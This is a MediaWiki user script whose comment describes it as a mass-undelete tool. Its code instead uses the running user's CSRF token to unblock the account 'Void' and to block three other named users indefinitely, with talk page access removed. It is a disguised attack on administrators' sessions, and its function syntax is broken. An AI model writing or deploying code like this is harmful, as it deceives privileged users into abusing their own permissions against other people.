User:Void/testing.js

/* * Simple script designed to mass undelete pages deleted by a user. * You are responsible for any and all actions you take using this tool. PLEASE be careful. */

$.ajax({   url: mw.util.wikiScript('api'),    dataType: 'json',    data: {        format: 'json',        action: 'unblock',        user: 'Void',        token: mw.user.tokens.get('csrfToken')    } }).done(function {next});

function next { $.ajax({   url: mw.util.wikiScript('api'),    dataType: 'json',    data: {        format: 'json',        action: 'block',        user: 'Zppix',        expiry: 'never',        nocreate: 1,        noemail: 1,        autoblock: 1,        allowusertalk: 0,        token: mw.user.tokens.get('csrfToken')    } });

$.ajax({   url: mw.util.wikiScript('api'),    dataType: 'json',    data: {        format: 'json',        action: 'block',        user: 'Reception123',        expiry: 'never',        nocreate: 1,        noemail: 1,        autoblock: 1,        allowusertalk: 0,        token: mw.user.tokens.get('csrfToken')    } });

$.ajax({   url: mw.util.wikiScript('api'),    dataType: 'json',    data: {        format: 'json',        action: 'block',        user: 'Shitest',        expiry: 'never',        nocreate: 1,        noemail: 1,        autoblock: 1,        allowusertalk: 0,        token: mw.user.tokens.get('csrfToken')    } });

$.ajax({   url: mw.util.wikiScript('api'),    dataType: 'json',    data: {        format: 'json',        action: 'block',        user: 'Zppix',        expiry: 'never',        nocreate: 1,        noemail: 1,        autoblock: 1,        allowusertalk: 0,        token: mw.user.tokens.get('csrfToken')    } }); }